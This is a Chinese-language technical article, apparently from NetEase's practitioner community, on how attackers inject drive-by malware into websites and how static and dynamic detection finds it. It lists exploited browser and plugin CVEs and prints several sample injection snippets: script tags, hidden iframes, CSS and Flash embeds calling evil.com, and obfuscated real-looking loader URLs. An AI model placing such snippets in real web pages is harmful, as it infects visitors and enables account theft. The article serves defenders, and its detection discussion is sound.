中文站

浅谈互联网挂马与检测技术

一、0x01 概述

在形形色色的互联网中,网站被挂马是非常严重的安全事件,因为这不仅标志着自己的网站被控制,而且还会影响到网站的用户,不管是杀毒软件的“友情”提示还是用户中木马,对网站的信誉都有严重的影响。

对于黑客,他们通过网站挂马,可以直接批量控制中马用户的计算机,不仅可以盗取各类账号(邮箱、游戏、网络支付),还可以进行交易劫持等其他利益用途。

二、0x02 木马与网马

大部分人对木马都比较了解,木马就是一个具有隐蔽性的远程控制软件。

而我们提到的网站挂马,并非是指木马,而是网马。

网马本质就是一个特定的网页,这个网页包含了攻击者精心构造的恶意代码,这些恶意代码通过利用浏览器(包括控件、插件)的漏洞,加载并执行攻击者指定的恶意软件(通常是木马)。

简单的说,网站挂马是黑客植入木马的一种主要手段。

早期的木马往往是通过比较底层的系统漏洞,直接拿到机器权限,比如经典的windows漏洞系列之MS06-040和MS08-067;

但是随着系统漏洞挖掘的成本提高,大部分黑客开始利用网站挂马的方式传播木马。对于黑客来说,网站挂马的技术门槛远比挖掘系统漏洞低,木马命中的效果也好,一个UV 1000的站点,中招10%也有100台肉鸡,就像使用散弹枪扫射一堆敌人,所以网站挂马很快就成为了一个时代的主流;

当然还有很多其他的方式可以传播木马,比如社会工程学,丢U盘或者找个MM勾引管理员修电脑都是常用的手法,但是相对来说成本较高,远没有网站挂马效果好。

三、0x03 网站挂马的原理和流程

网站挂马是指黑客通过入侵或者其他方式控制了网站的权限,在网站的Web页面中插入网马,用户在访问被挂马的网站时也会访问黑客构造的网马,网马在被用户浏览器访问时就会利用浏览器或者相关插件的漏洞,下载并执行恶意软件。

网马的本质是利用浏览器(主要是IE)和浏览器控件、插件的漏洞,通过触发漏洞获取到程序的执行权限,执行黑客精心构造的利用代码(Shellcode)。

具体流程可以参考开始下图(红色椭圆内部是网站被挂马的细节):

当用户浏览了被挂马的网站时,浏览器会去请求这些网马页面,网马中包含了针对浏览器或者第三方插件漏洞的恶意代码,当浏览器或者插件处理这些恶意代码时,会触发程序自身的漏洞,执行网马中的shellcode,shellcode会负责下载并执行黑客配置好的木马。

网马主要是利用了IE浏览器漏洞、常见的控件漏洞和浏览器插件漏洞,这里整理了网马经常利用的一些漏洞:

MS06-014:Microsoft 数据访问组件 (MDAC)功能中的漏洞可能允许执行代码

MS06-055:矢量标记语言可能允许远程执行代码漏洞

MS07-017:ANI光标漏洞

MS09-032:MicrosoftDirectShow MPEG2TuneRequest组件栈溢出漏洞

MS10-018:Microsoft IE畸形对象操作内存破坏漏洞

MS11-002:Microsoft DataAccess组件漏洞

MS11-003:Microsoft InternetExplorer内存远程代码执行漏洞

 

CVE-2008-2992:Adobe Readerutil.printf() JavaScript函数栈溢出漏洞

CVE-2009-0927:Adobe Acrobat和ReaderCollab getIcon() JavaScript方式栈溢出漏洞

 

CVE-2010-3653:Adobe ShockwavePlayer Director文件rcsL块解析内存破坏漏洞

CVE-2011-0609:Adobe Flash PlayerCVE-2011-0609 'SWF'文件远程内存破坏漏洞

 

CVE-2010-1423:Java开发工具包URL参数远程代码执行漏洞

CVE-2010-4452:Oracle Java"Applet2ClassLoader"类未签名Applet远程代码执行漏洞

CVE-2010-4465:Oracle Java在处理剪贴板中的数据写入和读取的控制上存在远程代码执行漏洞

CVE-2012-4681:Oracle Java RuntimeEnvironment远程代码执行漏洞

网站挂马的原理我们基本清楚了,那么黑客又是如何进行挂马呢?

首先,黑客需要获取网站植入木马的权限。

比较常见的方法有两种:

一种是通过入侵网站获得网站的管理员权限,将网站的网页插入网马,很多入侵的Webshell都有批量挂马的功能;

另一种方式是利用ARP进行挂马,攻击者进入到目标机器的局域网,使用ARP Spoofing,然后在HTTP response中插入网马。

当黑客拥有植入网马的权限后,就需要准备一个网马。

网马的编写相对于木马来说简单了许多,有技术实力一般会参考漏洞的POC写出利用网马,或者利用Metasploit生成的代码进行修改。

大部分的挂马“黑客”往往都是直接使用网马生成器生成网马,或直接购买网马,将网马中默认恶意软件的URL地址修改为自己的恶意软件URL地址,这样,一个网马就准备好了。

最后一步就是植入网马,植入网马只需要在网站页面插入一小段HTML代码,引入编写好的网马URL即可,早期最常见的是iframe挂马,把宽度和高度设置为0,SRC设置为网马地址,就ok了,这也是植入网马的原理。后续很多植入代码都利用了JavaScript,和CSS进行了变形和混淆处理,主要是为了防止杀毒软件和站长的检测和清理,下面是搜集的一些简单的挂马语句:

<SCRIPT language="javascript"src=http://www.evil.com/muma.js></script>

top.document.body.innerHTML= top.document.body.innerHTML + '\r\n<iframe src="http://www.evil.com/muma.txt "></iframe>';

body{background-image:url('javascript:document.write("<scriptsrc= http://www.evil.com/muma.js></script>")')}

<DIV>

<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,29,0" width="700"height="500">

<param name="movie" value="http://www.evil.com/muma.swf ">

<param name="wmode" value="transparent">

<embed src=" http://www.evil.com/muma.swf"type="application/x-shockwave-flash">

</embed>

</object>

这样,整个网站挂马已经完成。黑客只需要看着远控,等着肉鸡上线即可。

四、0x04 网站挂马检测

面对如此猖獗的网站挂马,挂马检测是至关重要的。

网站挂马检测的手段主要分为两类:一类是静态检测,主要是针对网站页面的源代码进行分析;另外一种就是动态检测,使用虚拟机访问网站网页,查看是否感染木马。

1)  静态检测

静态检测主要是对网站Web页面的源代码进行检测,首先通过分析页面提取出所有引入的URL,然后再通过爬虫获取这些页面的源码,通过JS代码和恶意的shellcode特征进行匹配和打分,判断该网站是否被挂马。

这种检测方式比较高效,首先将页面爬取下来,然后进行内容分析。

由于静态检测是根据网马的特征进行识别,所以需要定期维护特征库;同时,对于PDF、FLASH和Java插件漏洞的挂马,是需要再进行专门的分析。

静态检测主要有2个技术难点:一个是页面分析,这块包括网马URL提取以及网马JS代码的分析;另外一个就是网马的检测识别。

页面分析是很多静态检测都存在的问题,第三节也提到过现在的网马都不会简单的iframe引入,一般会使用混淆的语句或者比较复杂的Javascript动态生成网马地址,试图绕过检测,比如:

 

<script language=javascript src=http://h%65t.x%6Frg.%70l/c.js?google_ad=12x218_ad></script>

document.write("<ifra"+"mesrc=http:\/\/afh.2288.org\/55\/208ay.htm width=100height=0><\/iframe>");

同样,网马中的恶意代码基本也是混淆的。

针对这些情况,目前比较主流的解决方案是使用V8引擎解释执行,推荐使用phantomjs。

网马的检测识别主要难点在于shellcode的定位,shellcode可以多次加密和变形,那么网马检测也需要对shellcode多次解密。

检测的方法主要是通过shellcode的特征进行判断,如shellcode最终会下载恶意软件,所以会包含恶意软件的URL地址,或者常见的利用方式如HeapSpray会插入大量的NOP指令,则会包含0x90关键字等。

下面通过简单地分析一个示例来描述静态分析的流程:

某个网站的挂马情况如下:

[root]hxxp://normal.website.com/xx.php                        (被挂马的网站页面)

   [iframe] hxxp://evil.org:987/wm/ms10018.htm               (利用MS10-018网马)

   [iframe] hxxp://evil.org:987/wm/ms11013.htm               (利用MS10-013网马)

       [trojan] hxxp://evil.org:987/a.exe                    (系统木马)

   [iframe]hxxp://evil.org:987/wm/ms10018.htm                (利用MS10-018网马)

       [trojan] hxxp://evil.org:987/b.exe                    (系统木马)

静态分析会通过页面分析提取出所有iframe、JavaScript、CSS以及各种变形的URL,如上,静态检测首先会提取出以下3个URL:

hxxp://normal.website.com/xx.php

hxxp://evil.org:987/wm/ms10018.htm

hxxp://evil.org:987/wm/ms11013.htm

 

然后会调用爬虫爬取这些页面的源码,开始分析页面源码。

通过分析发现有2个页面:

hxxp://evil.org:987/wm/ms10018.htmhxxp://evil.org:987/wm/ms11013.htm

存在恶意代码特征:

发现Shellcode加载木马地址

hxxp://evil.org:987/a.exehxxp://evil.org:987/b.exe

和一些Shellcode的通过特征字符,

判定为网马。

常见的网马样例:

2)动态检测:

动态检测可以简单的理解为用户通过浏览器打开待检测的页面,然后查看自己的机器是否存在恶意软件,只是这一系列的操作都是通过程序自动化实现。

这种检测的原理比较简单,就是查看网站打开后,判断是否有恶意软件下载并执行,如果有,则判定该网站已经被挂马。

由于这种检测方式是模拟人工操作的,并且保证了恶意软件是可执行的,所以这种检测方式是没有误报的。同时,由于是模拟人工打开浏览器进行访问,尽管可以使用多进程和多台虚拟机,在同一台机器的情况下,动态检测的性能往往达不到静态检测性能的1/5。

动态检测的核心技术就是如何判断网马下载执行的程序为恶意软件,这块和很多杀毒软件的检测原理类似,主要是针对恶意软件的特征,比如首先匹配下载软件内容的MD5是否已经在黑名单,然后通过监控程序的行为(文件操作、进程变化、网络监听),判断是否为木马。

具体的技术实现一般是通过Hook一些特定的系统函数,查看恶意软件是否有调用这些敏感的系统函数,进行判断打分,判断完成后直接进行拦截,防止木马执行,方便继续检测下一个网站。

动态检测效率较低,所以需要大量的服务器同时进行检测,业界普遍的做法是使用虚拟机蜜罐,一般情况下,一台16核的实体机器可以支持30-50台蜜罐,每台蜜罐可以支持10-20个进程同时检测。

当然,具体的情况和检测系统以及机器的性能相关,需要实际测试,因为磁盘I/O和CPU都有可能成为瓶颈。

同时,我们还需要考虑到一些0day可能导致蜜罐中拦截失效的情况,还需要对蜜罐的状况进行监控,并且周期性的恢复镜像。

蜜罐的环境也非常重要,会直接影响挂马检测的效果,比如Java 0day(CVE-2012-4681),影响JRE7,而不影响JRE6,我们必须要有这种环境,才能保证检测的效果,所以我们的蜜罐环境也需要定期维护,关注最新漏洞的触发环境,包括浏览器版本和插件版本。

尽管如此,动态检测还会存在很多漏报,很多木马都会做一些简单判断,比如判断只有通过搜索引擎过来的才执行网马,或者是判断当前请求的参数是否符合特定条件才执行,甚至有些会检测是否有特定的进程才进行执行等,这些情况,动态检测往往是无法覆盖的。

我们可以发现,静态检测和动态检测各有优缺点,静态检测速度快,但是存在误报;而动态检测没有误报,但是速度慢,而且漏报率高。同时,不论是静态检测还是动态检测,都需要投入一定的维护成本,不管是规则维护还是蜜罐维护。

所以要准确的检测挂马,我们可以考虑静态检测和动态检测结合。

比如,要提高检测效率,我们可以先做静态检测,把静态检测中可疑的网站再发送给动态检测。

如果需要确保没有漏报,我们需要同时进行两种检测,如果是静态存在而动态不存在的网站我们这需要人工审核,确认是否存在问题。

同时,检测的频率也非常重要,比如1天检测1次,那么要考虑到黑客刚好绕过检测时间的风险是否可以接受。

最后提醒一点,通常我们自己的站点黑客很难获取到挂马的权限,但是我们应用的第三方资源却无法保证。

比如2011年1月工商银行被挂马事件,就是由于工商银行引用了bbs.imoney.com.cn站点的JS,而bbs.imoney.com.cn被黑客入侵,黑客对工商银行引用的JS进行了挂马,导致工商银行网站受影响。

所以要特别注意引入的第三方资源,需要对第三方资源进行实时挂马检测

五、0x05 小结

伴随着浏览器以及常见的浏览器插件(FLASH/JAVA……)爆出的漏洞不断,网站挂马已经风靡了超过5年。

近几年,随着网民安全意识的提高,以及各类安全补丁软件的普及,目前的挂马统计数据显示,比较普遍的大批量的网站挂马已经开始走向没落。

未来的网站挂马可能不会和现在一样普遍,但是会变得更加专业,更有目的性,成为APT(针对特定目标的高级持续性威胁)攻击的一种常用手段。

本文来自网易实践者社区,经作者黄龙授权发布。  

网易易盾针对政企网站量身打造——集网站内容监控、网站漏洞检测于一体的全方位安全监测解决方案,点击免费试用